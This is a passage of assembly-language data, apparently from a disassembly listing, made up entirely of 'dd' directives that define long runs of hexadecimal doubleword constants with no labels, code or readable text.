454ABBh, 416392CDh, 0CE8F7733h, 1BD12D1Ch, 0EDF52780h dd 5F4AE3E6h, 0D64400A2h, 65DE2520h, 0F8000C5Fh, 0F444B5F5h dd 0D9E22D9Eh, 832EB8A3h, 1B8CF8A0h, 0FB2BC8F4h, 0B7101CC9h dd 6CA0A92Fh, 8611FE33h, 600B5001h, 0CCB97E55h, 612978F0h dd 0CFBF59A3h, 0D0CFCFE5h, 0DC221546h, 21B308CCh, 0E5D702E1h dd 77832C6Fh, 0C0BDC54h dd 0DB7A8092h, 5BCBA2AFh, 74BC418Ah, 0E404A6FDh, 91EA05D6h dd 79200695h, 0F5563D21h, 0EC5A1380h, 1C892353h, 0C447A30Dh dd 5091F098h, 0A6FA83D8h, 31EECA7Fh, 0F2511106h, 50FC8EECh dd 447AACD6h, 0E52DB08Ah, 10D880FBh, 5479F811h, 428CA6h dd 2FC163B3h, 2765869Dh, 3083553Ah, 0BC6921B9h, 84260163h dd 2DFA57D3h, 4B5F73Bh, 4206F9B8h, 0A7F52612h, 0D725AAD0h dd 0A6F95C20h, 8CF6F280h, 0F15211F3h, 0EA9216ECh, 93150070h dd 8A8B27E6h, 80959B25h, 0FE57C1A4h, 2C0A4029h, 784B7FF8h dd 0A58BBC81h, 0EDE8C510h, 5128523Eh, 0F1F09140h, 0CE63BA80h dd 8343452Fh, 6800BF22h, 53846447h, 0F85B9Ch, 1F1C4102h dd 0A08C0B83h, 4A78A609h, 0DC902316h, 0FE7BC019h, 3A8F0033h dd 0FACD319Fh, 85079591h, 0DF53A668h, 0AAFC30D0h, 709B182Dh dd 0A5D9B844h, 0B77F3218h, 121B179h, 0FD29924Eh, 0FC9ECDA7h dd 5E0076E5h, 726FA5DBh, 881D49B1h, 0C300B0C6h, 3BC985FEh dd 1A84FA5h, 0C91C1D0h, 2083E6E0h, 75006B4Ch, 40258EE3h dd 6A56971h, 2604726Dh, 0FB014965h, 1C293A2Dh, 0DC4BAF46h dd 2402A3DDh, 44A0AF8Eh, 2A9E24B4h, 6154098h, 5201041Dh dd 3E8C3174h, 41E47E19h, 609500DBh, 14A01B15h, 8E9F6B35h dd 52C3E290h, 545CBEh, 0D5264218h, 4098FBAEh, 3392BB02h dd 74D28A96h, 0A85DC08Ch, 2B1DBCCEh, 0C240BF19h, 0AEEF6DC0h dd 18B10034h, 83152FDBh, 0DA303BA0h, 0A4AA60B0h, 0F4A09D79h dd 0E5CC68D0h, 8A81200h, 8D5A3CBDh, 2A3901DAh, 1A333779h dd 0BF3880A4h, 2DB68B5Fh, 463092CCh, 63BD01F6h, 86AD2FC3h dd 6B88BA0Ch, 0E1640046h, 758ABF3h, 0B55A862Dh, 40C26080h dd 0BFC6303Bh, 0CD25CB68h, 2CF2DCAAh, 8856C0C4h, 0B4552C0Eh dd 549A2F00h, 0B0DC28FBh, 506DFA4Ch, 1200F75Ch, 0CFC1CBE1h dd 4425043Ch, 1490CA1Ah, 7D9B0501h, 39442941h, 0BFF03836h dd 9F085299h, 6AF9EDBh, 0B9141589h, 41A2FF09h, 1381047h dd 0F9D8017Fh, 0A3756EA0h, 0A4122EE8h, 52848E4h, 0AAE2D877h dd 58E7003Eh, 19359630h, 0BBACA29Fh, 3A70078h, 8CA42F26h dd 0A5C6E310h, 45A9713h, 428C950Ch, 72DF582Ch, 46509034h dd 0A6F713D1h, 1CE69709h, 0EF543D74h, 0A3FC04F3h, 0BD039B8Ch dd 1A19104Ch, 173157CCh, 46273E14h, 0B8C12680h, 0BC4674h dd 2A7FDC1Ah, 0C40A77A3h, 2786A170h, 0CFEB440h, 0BCA050ACh dd 0F3B18094h, 1DF0E10Bh, 20002FCh, 0C05E1AA6h, 7EFE2D8Eh dd 441748B2h, 31123B2Ch, 5E8AC1E0h, 8513AFC8h, 0B83206D9h dd 14A81107h, 7B9384C1h, 0A4D12500h, 0C0B690C4h, 4CFC3D1Dh dd 1C24E45Bh, 0A39F8108h, 2062A2CBh, 0F84B8040h, 0CCF4BCCCh dd 8FB92A40h, 0B31D7F70h, 0C467809Eh, 0B7E43DDCh, 36B5C600h dd 35D11127h, 44AE5D00h, 480D8F1h, 4DB70092h, 27CEFABFh dd 4C188365h, 0C332A459h, 398CB21Eh, 845B1513h, 0F8048CDCh dd 41E1801h, 0CA93BB50h, 2C038D9h, 8D480786h, 7499E0FBh dd 0FA44C0CDh, 0B264DF2h, 400050EFh, 147E608Eh, 0C31D0B72h dd 107AA486h, 8A6FB20h, 8D3A3B68h, 6B1D9702h, 85F04A4Bh dd 0C8400E58h, 0FF22AFC5h, 2E1224C1h, 67944054h, 98A6E960h dd 3B06E60Dh, 9900D16Eh, 9FFA6ADFh, 8C520810h, 653BD1B8h dd 0D428091h, 0AD5C7145h, 0D4294C51h, 1B80048Fh, 81985359h dd 1FE96D00h, 0CFDA2FC2h, 0E47016F9h, 0FBC50064h, 4E7556E8h dd 584AF612h, 86AA2C08h, 51A48CB1h, 0A1CFF805h, 0C0B8ADE6h dd 5EB4C92Eh, 7402B746h, 9BCDDA7Bh, 0A47A9CC0h, 611B8B27h dd 60003BA8h, 86144658h, 48340ADDh, 176514A8h, 132E3C10h dd 20233A95h, 2033E473h, 543A12A4h, 0BA050E23h, 39C0B3EBh dd 538F150Ch, 770088AFh, 0BF2B7392h, 0CE14A404h, 8E8096B1h dd 90047CB0h, 0A8ECCF25h, 890DF440h, 0D464DA03h, 0D388E800h dd 29AEBBD9h, 1310923Eh, 46478B2Ch, 8C900C44h, 0CCD38A4Fh dd 3A4991A6h, 68E46D8h, 80DA4BF0h, 710799BBh, 0A10BF79Eh dd 4336A3C0h, 7F2F000Eh, 8D88A983h, 65090616h, 8B8A7D07h dd 11A01D82h, 2BD980C0h, 90090777h, 15C90B6Bh, 9C0736D8h dd 24A2690Bh, 252EA483h, 408E7A3Bh, 9D01639Eh, 283FB2D7h dd 2FB431D0h, 7C488FB1h, 2D4C12F8h, 22BA82FCh, 8587630h dd 283FA1FCh, 0D4F93825h, 0DAF5E94Ah, 7301C07Ch, 0BAC2E3E5h dd 231A433h, 0D825DD51h, 0AF786A10h, 45A2FE12h, 0D8032060h dd 0EA023FDh, 0DC000B11h, 0CB8CD87Bh, 4B3B9255h, 0B1FD13C7h dd 0A3165004h, 1C923549h, 88CE8CC0h, 0B5632980h, 4004488Bh dd 0C2AC9879h, 0A3B4E53Ch, 1B511E4h, 0CCE5CAE8h, 2430C9B7h dd 29104171h, 751516FCh, 0D2B2B804h, 849EC500h, 0DA135891h dd 40A42932h, 0E44B0F1Ch, 0B4E0CF03h, 81B58504h, 0E6087106h dd 4C384772h, 935AC4F7h, 90E0CF1Ch, 2890987Fh, 0BF01F446h dd 0BD2FCD63h, 3790B86h, 8EF06448h, 0C7E8564Ch, 7012C2E8h dd 0F80A160Dh, 0CEC18075h, 0C4E5C0E5h, 0E488BE18h, 0CAE500D6h dd 7419C882h, 0A00413E8h, 84ABD8D1h, 84894A3h, 7A014423h dd 66A0FAD8h, 21880418h, 19D80572h, 8024AC7Ch, 0BD1C0A4Fh dd 0C830FF07h, 0F24B12F2h, 24B67D7Ch, 82B022A0h, 4E1862Fh dd 0BA88207Eh, 0DE1C2C43h, 0FD3E7A05h, 14A8D832h, 14F93F80h dd 8A2CAAECh, 0AB11E091h, 40344A26h, 94559BEDh, 5DF443Eh dd 6CB14F35h, 4ABB8444h, 0B2D81737h, 0E0E71EA0h, 0D879DA00h dd 5DEAFDCh, 538B29BDh, 1068B96Ch, 5700E43Eh, 0B1A5E21Dh dd 69242B94h, 440F6CF0h, 4008B260h, 1E4C85E8h, 600849E9h dd 187B7C19h, 0BEE53CC4h, 0BB11F4A3h, 0E5CCE600h, 321E3CF6h dd 0EA00867Ch, 121BDC4Fh, 0BA8A94C8h, 4700FB3Ch, 6EE99AB0h dd 3775DC21h, 7AC8FC01h, 0C1903827h, 5BF6033h, 66FA4C31h dd 84C0B865h, 34A6AF73h, 4AAFEEB0h, 0B9A81C54h, 30E66EAh dd 0E1F0E0FAh, 2C05D9D1h, 94B0E189h, 0DD0068F2h, 6FC1C50h dd 5C12A290h, 8F82E828h, 0D4AE9F73h, 0ABB98481h, 0A60DE58Ch dd 9508D4A8h, 4F2C003Bh, 9372DBB2h, 0CFB92B00h, 1CB4AC3Eh dd 0C9860679h, 71B680E5h, 0D4007C84h, 0A8C136CCh, 1F621129h dd 0C71C5699h, 0CAA1C8F7h, 997211D8h, 0DCE5B94Ch, 88BCD858h dd 0E50ED19Fh, 0EF822BD2h, 38C03DDBh, 0E9712219h, 7F25098Ah dd 30676CB4h, 94730C44h, 0F4C92C8h, 64CBC62Dh, 7CDC0724h dd 0E9DF3590h, 0ACF0480h, 893EDB30h, 40782D4Dh, 0E074DDDCh dd 0D1C099B7h, 0B818BEh, 0FCEA2A25h, 0A4C97282h, 0DB9F3F0Bh dd 0BF18F8D2h, 6C48DC10h, 18A12800h, 5F317244h, 8B328ABh dd 0DD74DCh, 8DAE3C32h, 7011D025h, 0A269A503h, 0A8A18C1h dd 0B217BE0h, 54630B98h, 0E610D05Ah, 2C0037BDh, 0C83E2D56h dd 2A22FF9Dh, 0DD1800ACh, 402E9CBEh, 6A3BCE41h, 0A6D28281h dd 797C2612h, 83CC11F4h, 0CA03A6FEh, 110831CEh, 0C8ECF655h dd 4F152F8Ah, 0C9804061h, 2F4C2D11h, 20D0E439h, 0E8B016F7h dd 0C344120h, 2275A22h, 0DE122530h, 0C0D120C1h, 0AA12632Bh dd 7BE424E5h, 0CD792D60h, 0B19E9900h, 98D8B517h, 0C98037C1h dd 79D3B0A1h, 70F164E5h, 0C884004h, 0FCC101DFh, 0CF3D9002h dd 3ED88455h, 88E0BA3Bh, 0D6B60AAAh, 0BFE09E0h, 84B2BF7Eh dd 0BF44F447h, 2B47A060h, 332D2212h, 41575809h, 0B063C824h dd 1FC0B8A7h, 22588C8h dd 3D8A937Ah, 0D0A24B07h, 0A4D11426h, 0EE18BCD9h, 0AFDE790Bh dd 49C5A9Dh, 1A67C3D9h, 0AB7740A7h, 0B8F031Ch, 0B2A323BFh dd 0D77802Fh, 332947D4h, 3009A2C8h, 1705E687h, 27117C43h dd 3F20F4CCh, 5D122E55h, 8B384232h, 0DF057BE7h, 0B684E4h dd 5327492Bh, 2261147h, 358F41C1h, 0B841AF1Fh, 4246080h dd 91962D57h, 0E3DFB4C0h, 0AFD2AB02h, 9F1171E5h, 80BB11A0h dd 260ADAEDh, 70AE6017h, 0B7523320h, 561D2C90h, 10279DB0h dd 80103DECh, 10BD12EAh, 371D8A90h, 0A9B1B17Bh, 3A8DB818h dd 40305B81h, 388C4192h, 8C7CBC90h, 98E5F102h, 0E1124D90h dd 708EA764h, 0C5BD18AFh, 0FD2A7AD2h, 80713E5Ch, 5C584AEDh dd 76E30Ah, 4E29FF9Eh, 1D98C449h, 0A3A5D320h, 58D0C2BCh dd 46F8B07Ch, 0E53C7D77h, 11D4A3BAh, 0D8E20BB9h, 418C00E5h dd 135B0848h, 0CC8CB1D2h, 7F416B60h, 4029C460h, 6D4FFF33h dd 41F34C32h, 7D184740h, 0A0FBD80Bh, 7B849C7Eh, 0CDD80126h dd 0AFF4A624h, 0D462E6h, 135707E0h, 3FF8A979h, 0F2130ED5h dd 552400D7h, 0EF61B27Dh, 4300DCF0h, 0C82D38B0h, 80C9FCh dd 462C21B9h, 70064CF7h, 465E9896h, 0F1F50079h, 93605BFDh dd 0FA9E13C8h, 6084C914h, 89880B1Ch, 4D871F25h, 35941769h dd 0F800408h, 0F2620543h, 6F21CE2h, 1350D130h, 908AC193h dd 0F463D7Ch, 97A85107h, 1161B619h, 3C2CB01Ah, 0DEE1F280h dd 21000E57h, 0D5AC6B87h, 16D7D8A9h, 5B20199h, 823A2DC8h dd 3CFE7394h, 0DCD3BC29h, 5C07C860h, 0A89854B0h, 1BAB2917h dd 4620EC5Fh, 0A63C70CAh, 16DEA701h, 0F84B3D54h, 0CE8601FDh dd 2E199001h, 0F16C60C0h, 0B31100EDh, 4B967FE9h, 4C8353Bh dd 0C0F50h, 102EDF02h, 0CABF01F6h, 457C66B8h, 8092C19Dh dd 4AE0F15Eh, 602A020Fh, 4FFD41A9h, 0C00CBD3h, 0C5BE5F29h dd 16222DFBh, 4A1FFC1h, 1BF6F1Ch, 8E663B62h, 3D0B5868h dd 281FB217h, 3382B691h, 28E48FB1h, 98A0FF3Ch, 0B460838Eh dd 32C800C1h, 7A841941h, 0CE17E559h, 0C4E2B172h, 9E652E1Eh dd 0B8AD4044h, 0F79D4804h, 8EBC0839h, 0A0B7DC0Ch, 7FA52970h dd 0C7671290h, 23443A32h, 92ED007Bh, 0E904B3Dh, 49C288h dd 9B018612h, 0DDD1E966h, 0BEAB9701h, 728DE8C8h, 0E92B9DECh dd 258FC434h, 0E4D0EF3Dh, 4E21E05h, 0B0F23C23h, 8F8342Ch dd 8A0D0B4Bh, 0A8E76904h, 20733C6h, 1D660865h, 94402D29h dd 0D098B99Dh, 4184120h, 0AA2C5AF9h, 689013C0h, 0F84521B6h dd 0A3240B7Ch, 0C8DA7333h, 94312322h, 10465EE0h, 53813F7Ch dd 0D5C68C0Eh, 628FC058h, 34604D81h, 8AA8B431h, 913C7263h dd 13703C29h, 6C849D86h, 0BBF2D4B2h, 135B630h, 0BAD49282h dd 607904F7h, 0EB43D4h, 18263727h, 886B660Bh, 448611FFh dd 0AF49803Eh, 12363F4Ch, 8FD7h, 0DE265BD0h, 22664A7Dh dd 0DA210120h, 45CCB3BEh, 40D4B860h, 920B0C65h, 1F9A974h dd 694DBB50h, 2A5C0009h, 64636FABh, 183196A1h, 2021A461h dd 7B209B22h, 54A53063h, 92049E70h, 0DA2F3BE6h, 2DA8E081h dd 0FC014168h, 0AE49E6C3h, 44A12CCCh, 0B4674h, 0E0963A72h dd 689F2h, 27A79404h, 70C78730h, 802A0D3Bh, 0AEC820A6h dd 4AAF2407h, 34C6E38h, 125DE4CBh, 49B4B84Eh, 7189C019h dd 8D7BFFA6h, 0D5B81524h, 2DB2EC00h, 26B3B093h, 74341B8Ah dd 4600BB46h, 36A18A0Bh, 0E09C92C3h, 18E7671Fh, 3A646D4h dd 0C1E8F8CFh, 41BF4EE1h, 301567A0h, 7DE99FB0h, 18D10E8h dd 118566C8h, 0F8528736h, 939A9405h, 58A694D5h, 0FC3085B0h dd 8AD0E900h, 962FBD49h, 0A861489Dh, 70512789h, 2F4BE891h dd 102374h, 39520C2Fh, 38B0C487h, 0E406B120h, 1229C5CCh dd 7810C92Ch, 7BB98008h, 5157EEh, 0DC628141h, 92BEF8B5h dd 71C03E00h, 901B9C9Fh, 2D22815h, 0A95A198Ch, 0F08F4914h dd 0CAC042Ah, 6CE2C34Ah, 39FBDD00h, 0EE75AF74h, 1C483Ah dd 0F212D6C3h, 18D4ED10h, 0B1E5FE2Fh, 0E34CE6F9h, 0C4215A80h dd 8004125Ah, 0F7A323B0h, 3A9C7653h, 2B5A420Ah, 1023CCh dd 5B9850A5h, 0B101BC3Bh, 339D74D3h, 1100F015h, 5162EF16h dd 0C8A85BE0h, 880EA3D4h, 231C7391h, 9A40710Ah, 0E758DB44h dd 3F753956h, 0C9A729BFh, 0B6111C97h, 3F6F1F80h, 3CB2E2C3h dd 0E75FAA1Fh, 0C9D77B00h, 26351457h, 441C532Bh, 0E5B1499Ah dd 60B9E454h, 998778Ah, 0EBE25DBAh, 2A61EC5Eh, 0F1817393h dd 92E7EADDh, 7F809249h, 0BC3ADC84h, 2B001523h, 0FCCF27FAh dd 8E2D0B3Ch, 201FD2A6h, 3380BC11h, 3CD19BE3h, 0C6990800h dd 0D05E21ABh, 675D205Fh, 17134D01h, 819EC557h, 6BA3EC30h dd 0C8E2C0BAh, 45227800h, 0DCE03FE1h, 0A8D12D2Bh, 863F78h dd 0AB39E60Fh, 2DFE2E4Bh, 10FC22F1h, 0A209126Fh, 7802A9A5h dd 0D320B6D6h, 1648720Fh, 302DA82Ch, 379B2A2Ch, 33381763h dd 76BC82FEh, 0C8C6A70h, 0A85905EBh, 75D1BA03h, 0BC972590h dd 825844EBh, 3D8D00A4h, 986FC8D3h, 0C0F51374h, 3C6FFAh dd 0CF6023BAh, 9F6CC8h, 910FEADFh, 27A82BACh, 0F0933F06h dd 0FAA0AA54h, 0DC868A73h, 9F28492Dh, 7769C884h, 8EB4A4A9h dd 0B8E8A054h, 0C9B4028Ch, 38E2A51Ah, 0E7993443h, 353430B5h dd 24D4C197h, 4423484Ch, 2700FB3Ah, 2F6E2DD0h, 0A017098Eh dd 86014B18h, 833A1245h, 1E48938h, 77BF8B2Ah, 0FF21D816h dd 0D2F99044h, 0B8B294A2h, 1E69A30h, 0D0E003DAh, 5C7B55F7h dd 0C78A404Ch, 600F4420h, 749F098h, 3ED67B35h, 580B2268h dd 0CC453462h, 8249D0A6h, 1903B5A8h, 91411309h, 0BC648FACh dd 9188A580h, 10F858C1h, 0DC127B73h, 0EF1804D1h, 0D4842770h dd 40687949h, 4803B938h, 873BEF0Fh, 0F858C3EEh, 5735AC1h dd 655BF390h, 85B8D2B6h, 8B5FBA00h, 48054EAFh, 0B9C0F218h dd 4F2FCF63h, 188B4Dh, 0CD644267h, 2CCACF2h, 3D89BBFBh dd 0C4695613h, 0C2F3FE2h, 803D7C23h, 43BE66BDh, 67A32BB4h dd 4102F9B3h, 2CADE726h, 0DF2854D0h, 241BA744h, 0E4FC240Ah dd 9D6240BCh, 978D462Bh, 0E0CB4CA5h, 0C367940Ch, 13C03E8Eh dd 0C47ACD73h, 41BB5B58h, 0D6EF7916h, 42F54030h, 637B1033h dd 81B1C88Eh, 796F9329h, 90E00C00h, 49A0174Dh, 1B8E8h dd 1C5C8E5Ah, 417770Bh, 0A84A1802h, 47345185h, 0A6E88BE0h dd 5D43206Fh, 4AF5A048h, 24109711h, 434E3D8Fh, 10809C14h dd 12208626h, 0EE115F25h, 4F290288h, 0A6DDE30h, 290F4E7h dd 80C042C8h, 4AA0FCD8h, 80F02D76h, 9008D846h, 2589B1DBh dd 0C889EF9Ch, 98BEA094h, 9B34656h, 0F16760D7h, 18C07970h dd 0F36F44Ch, 4A9D8230h, 330A8EA0h, 7C0CB9EAh, 0C11B2404h dd 900C09D8h, 0D4D0CD79h, 0E96AC303h, 953B66F8h, 785F48B4h dd 68225D9Dh, 6974132Eh, 9E47065h, 0EC673660h, 0AEEA4600h dd 2AFAD207h, 0DFDE01E0h, 0AFB1A576h, 0EAC6D94h, 0D0C5E64Fh dd 7A32E05h, 0B2DCE316h, 889F30BBh, 0D51CAB00h, 2F1D8AF9h dd 719E80B7h, 0E86C7D58h, 8008CB7h, 19C8DDA4h, 651B832Bh dd 0B212A10Dh, 30BBF298h, 7100E08Bh, 0E3DD4D82h, 18892ADAh dd 58749FACh, 0C83EB172h, 0AFBB0BA2h, 2DECC89Ah, 26A0E2C1h dd 90DC78AEh, 9633026Ah, 744D353Bh, 18B21EC8h, 93B071AEh dd 896260BCh, 0D12C003Ch, 0A226AA42h, 0FCC19CD6h, 0FEE57DA6h dd 57242C6Bh, 0FA00F47Bh dd 0E9271EC6h, 2D7AD053h, 882029A7h, 0A3D9E612h, 68B3ED00h dd 0A5FE10DCh, 5CE8B4AAh, 0B3000646h, 3869EA2Dh, 0D8255E8Fh dd 6BE4688Ah, 0FFB600E9h, 967D7C2Ch, 0A9005592h, 841E9F5Dh dd 7BA43B50h, 0C2B11C79h, 9797D6C8h, 37CF80F8h, 237F3670h dd 82DCEB97h, 1DBCD893h, 1EF2617Ah, 0B2E34953h, 0C4BE78F8h dd 0B06465Eh, 59531F95h, 26510F40h, 58B6A5A0h, 7D007B4Fh dd 4872D267h, 30882B98h, 2A41108Fh, 8E001FD0h, 7C9601Ah dd 2C1E59Dh, 70BB442Dh, 64ED120Dh, 4FBDECE0h, 0C5470050h dd 0FC0B6EAEh, 6498B1D1h, 2B1829D9h, 46D81461h, 0FF363A12h dd 9294692Bh, 0FCA0B52Ch, 6D074E47h, 4A46C155h, 0E07D41D3h dd 5B3B6772h, 8F3CC0EEh, 9E3C01EFh, 0A5FF16DBh, 7DF260E2h dd 3B3230h, 0D716C54Ah, 4A34623h, 0E500E8EEh, 72D84FD1h dd 5480EF47h, 4C5DB8B4h, 7600D826h, 5868EA2Ah, 637DB24Bh dd 10AFBF2Fh, 180D2FFCh, 39B08083h, 43980BB6h, 67D1D700h dd 258EC3A9h, 7055258Dh, 0B90E1040h, 4721380h, 0A82BE0FAh dd 2460E29Eh, 6640C02Ch, 3B5F690Dh, 0BFF4F2Ah, 871865F7h dd 0BFF55982h, 0CC7100C2h, 6918BE79h, 0C16C800h, 50B730F1h dd 0FE2F0B68h, 28520115h, 1D43A62Fh, 80B691D0h, 0CA25E0A1h dd 7427DB8h, 970E4621h, 7C88F960h, 0FB8500BCh, 0CAC3A0A7h dd 0A6F9AB64h, 0A1816043h, 3CF0F8A2h, 0FED7F239h, 1C3C1D58h dd 7A95F0CFh, 0C9F9000Ch, 0C8C196DCh, 0D091D02Dh, 12682B1Eh dd 0B064F434h, 40F09F52h, 0AC6511F8h, 2442EF40h, 0C7FAB980h dd 670B445Ch, 0C06C6EE2h, 80C06B1Ch, 381327FBh, 0B408199Eh dd 94AA8205h, 0A07507BFh, 0E3E55544h, 0D428ED22h, 16124884h dd 0D24ECC0Fh, 705D882h, 22BE3A2h, 49B403A4h, 0ED893B18h dd 0FCF3E200h, 0E4779650h, 7D690524h, 1D4E431Dh, 0EC80169Dh dd 898C68D1h, 843019EFh, 552F29D0h, 4162C1F0h, 8C0EE64h dd 0C9803B49h, 0DBB11E66h, 4A79680h, 0B16B8B88h, 0BC23A8h dd 0B9BC8F3Fh, 0A03276h, 6AE45617h, 7A7C7931h, 0EC140D00h dd 44926B6Eh, 0AB93825h, 7C31Fh, 0EE61AD71h, 9CB0050Eh dd 465E389Ch, 5B6F00B9h, 0CC19DAA9h, 94B12598h, 8B193464h dd 7B17B2Fh, 0C166E310h, 47918800h, 9A85E45Dh, 0C90E0064h dd 0CF333FDDh, 60BC7F1Fh, 52C04F80h, 1F738136h, 467E47E3h dd 21B180A1h, 4A452B00h, 0E562A7E0h, 54A40018h, 1B5A1AE7h dd 0D52575Fh, 32BDF2C4h, 660D4DCh, 0B0B979CBh, 2F6F05DBh dd 4B1D4D86h, 0B4D301D0h, 9B09870h, 8C9EAA7Eh, 389CA4F8h dd 4465Ch, 0D6EB276Ch, 0EA5E9CA1h, 2D240650h, 0A067E586h dd 5B8B6009h, 0F538916Eh, 6305BE18h, 86A52FC2h, 1F6C842Ch dd 400863BBh, 38F0FC71h, 0C899A74Ah, 7FFDE180h, 54ED3D0h dd 0DCBA044Ch, 8148ECA2h, 1D4B6488h, 120C612Ah, 125C6CE1h dd 58C97557h, 80544B3Ah, 11689C68h, 0A7EB930Ch, 401BC844h dd 0D302B115h, 0BA2B9D7Bh, 1CEC40B4h, 5BA2E268h, 0C0E4DAAAh dd 0FBB59F70h, 493B282Dh, 0A4CE0544h, 0C0F59252h, 0C427DF91h dd 0B2039DFCh, 57F65AA1h, 0C996919Bh, 93F00026h, 0F40E3D8Dh dd 0AB9086BAh, 0FB7CA00Bh, 58553A2Eh, 807D689Fh, 1C0A6126h dd 0B0D798B1h, 0C950118Fh, 935490A1h, 20F4A9Ch, 91FDAF3Ch dd 61C22069h, 98EACEEFh, 7944F8C7h, 0DE421E60h, 96DD3000h dd 92257A22h, 0B7E82568h, 6146DCA4h, 0A0C0D804h, 58449616h dd 0D8007CDBh, 728F916Eh, 32E3A0D6h, 0CBA08442h, 5F1F1C64h dd 0AD18C39Eh, 0B4CCBE18h, 0AC00D67Ch, 0AB337D3Dh, 4C26492Bh dd 7974F019h, 789480B9h, 2625673Eh, 0A51DFCA1h, 77220122h dd 93359026h, 18856A50h, 0B3A413AEh, 307DB200h, 92009E64h dd 8904941Eh, 0F08086FAh, 934F8Ch, 0AFD4AD14h, 69C588E5h dd 44AEFE4Fh, 0EE7024F0h, 0A77A5004h, 0F381E103h, 0F17ACDC7h dd 3E9C52FCh, 1067B849h, 9DE3470h, 117D9F42h, 9C70485Bh dd 3F8E002Ch, 0C0B2D40Ch, 79275F3Dh, 1190170Dh, 942C85BEh dd 48BF9F80h, 0A75601ECh, 1354920Ch, 0E263D02Bh, 0B2C1CD3Eh dd 0C761E9A9h, 60BF44A4h, 25C2BDEh, 4303159h, 68D91B2Dh dd 33129C38h, 0C0AD8C69h, 5847144Ch, 86802C7Fh, 0C7FD60F6h dd 29736203h, 80DC65D5h, 5CAF8B2Dh, 28978A0h, 0FC031404h dd 0C3400BCCh, 82B05CBEh, 5632A32Dh, 5389A456h, 0F65B050Ah dd 18B0D056h, 0C1252DCCh, 7E1CC061h, 0BDAA7821h, 57E4DC03h dd 72724C8h, 0F12CBF73h, 0E0CF5755h, 3B874019h, 6D04C4E4h dd 0AA808F2Ah, 0AB27DCEDh, 0F4021C8Bh, 18FC8BEEh, 416E40BCh dd 80DD6168h, 9BDD7561h, 0F140DFh, 78D62A16h, 36D248Eh dd 8C8BD409h, 805C2297h, 0B0FC64D9h, 1EE000F8h, 0C0160EA1h dd 10E09FFCh, 0BEA4419Fh, 18032987h, 0BC2F8958h, 68FE9D89h dd 7F00B291h, 0FD989533h, 490035AAh, 6E9A69BCh, 5CAEC7CFh dd 0A710842Ch, 0A3E05011h, 603748C4h, 17458A0Fh, 88C814B9h dd 27366A09h, 0E38208FEh, 8ECD2931h, 492C8544h, 47EC7C00h dd 1EB55E4Ah, 839AD520h, 9EE22C51h, 0E88386A2h, 784B4C2Ah dd 538010DBh, 40739209h, 1BAB0F01h, 0EE29A8A4h, 932AC050h dd 0E4B40Bh, 0BF19C727h, 24490DABh, 0DF2611F4h, 123B680Bh dd 1D8D1020h, 0F0A26F04h, 3F715CF3h, 94BB9D8h, 83B25855h dd 0F8602C56h, 2080F665h, 2F1D119Dh, 1A5F1DEh, 6ECFAC98h dd 94A5C448h, 18102DA0h, 8080ACABh, 560C4FFBh, 6408B978h dd 3008A9D8h, 3A3B9E82h, 6D0C1082h, 40D8F082h, 164F2988h dd 8C7C8C88h, 0B3E5C31Eh, 0BA88EC51h, 1CB39BFh, 9E3407Bh dd 9AE40162h, 9CB0270Ch, 2CF468EAh, 0DCAE800Ah, 2B00C596h dd 0B2627B73h, 790C162Ah, 3B08E2E4h, 9F87807Ch, 728278D0h dd 413500B8h, 52FE0D54h, 46138DBCh, 3809CE7Bh, 0A020D075h dd 923F9039h, 0E4254C88h, 5F84AD28h, 23583ED9h, 80E11C0Dh dd 9290E22Ah, 58071C3Dh, 9862DC8h, 206E786Dh, 0C206927Ch dd 4D21E709h, 0AE6C07B2h, 11802058h, 0A57F7Ah, 0FBF7B8D8h dd 4829DDh, 478E0FAh, 0A49B2CAFh, 688A2527h, 0E516920h dd 0E312456Ch, 905B4240h, 7205BFE8h, 1161E6F9h, 8F2514E6h dd 63831498h, 1D045280h, 277ADFh, 0CAF84D18h, 3B7D38F1h dd 0BF0440B7h, 2B6817E7h, 29104522h, 1890BC6Dh, 8DE11E49h dd 0CB9700C3h, 0D4DD12Ch, 0B44AA3B5h, 0B9F27CF2h, 4956430h dd 0AA3DA5B7h, 248CB88Fh, 927219Fh, 0DCFC562Ch, 73D27700h dd 0D0D319DEh, 2AEC298Bh, 1AB20088h, 0AE4CEF5Dh, 2D8E9A09h dd 0C160A497h, 1B75A081h, 838C8A00h, 705A494h, 78B91514h dd 0A0A07925h, 80922FA7h, 4F86E316h, 1D1048BCh, 94FC003Dh dd 3E40752Bh, 2E4402ACh, 8ABB72A3h, 51085CF4h, 0A41700F8h dd 3EF697C0h, 0A861F11Fh, 0ECEA9E71h, 0D315A086h, 940A7812h dd 8CD20A33h, 75706F00h, 0B06A68CBh, 91D6B1h, 25DBD674h dd 54B91DEh, 706C5CA5h, 0FC60EB2Fh, 0B0A4DB9Eh, 3C258D09h dd 3CD058C1h, 34738EF2h, 0C2116965h, 0F8695FA0h, 9E698F68h dd 40A8ACCBh, 41A0CD8Fh, 8E0ED459h, 481F6780h, 472CF4A6h dd 25CD40ACh, 0EC00F885h, 0E121FDBBh, 1E3D7B0h, 826D6E8Ch dd 500C9047h, 0DC76C4E4h, 6469520Ah, 3D05F8CFh, 90F5BA4Fh dd 3C380621h, 480A99Dh, 0B53A2185h, 12A4EBD0h, 32C9AC05h dd 4B0794F4h, 4610880Ah dd 0BE8A840h, 868DC4F0h, 4E533CA2h, 6884856h, 10B42883h dd 3F12EF9Ch, 0B4552A57h, 0E1F0B3B7h, 38411639h, 230877DBh dd 0AA7BE20h, 8FC2C368h, 0E57881A4h, 54EFC0E3h, 8F44C56Ch dd 0C0BE88D4h, 1D53A6E6h, 0DE07FA01h, 0DF097184h, 946070F1h dd 0EBFD127Ch, 0F200358Eh, 310FF214h, 8544DC07h, 6C469901h dd 0BFD71E6Ah, 8F813422h, 2BF26173h, 8C765C2Fh, 2BBB3B09h dd 61545642h, 30FA9FF3h, 0F015064h, 0CD155645h, 0FEF2F141h dd 2AC2414h, 7ACE553Eh, 0C20400D7h, 9CD5FE50h, 0B107DC2Ch dd 0BE1CD134h, 405C7CFBh, 0C850A544h, 2ECD451Fh, 96563C80h dd 91DD33h, 0C9F7A4D4h, 0AB5FD1DBh, 50E8FB59h, 0E8B52530h dd 203BA0A4h, 0B105A616h, 15138B2Bh, 0F5CE74F5h, 0ECC90005h dd 8CB6B878h, 84EC8628h, 0C063F028h, 4736780Bh, 19689058h dd 0D4E012Bh, 0C39EF814h, 180F7B8Eh, 0A25423BAh, 0A79010C1h dd 0E6A10474h, 8B25186Dh, 0C0B78810h, 0EF2A4345h, 16D01648h dd 0A8B763A3h, 0A1770FA0h, 0DDF6C800h, 1EBFCBC0h, 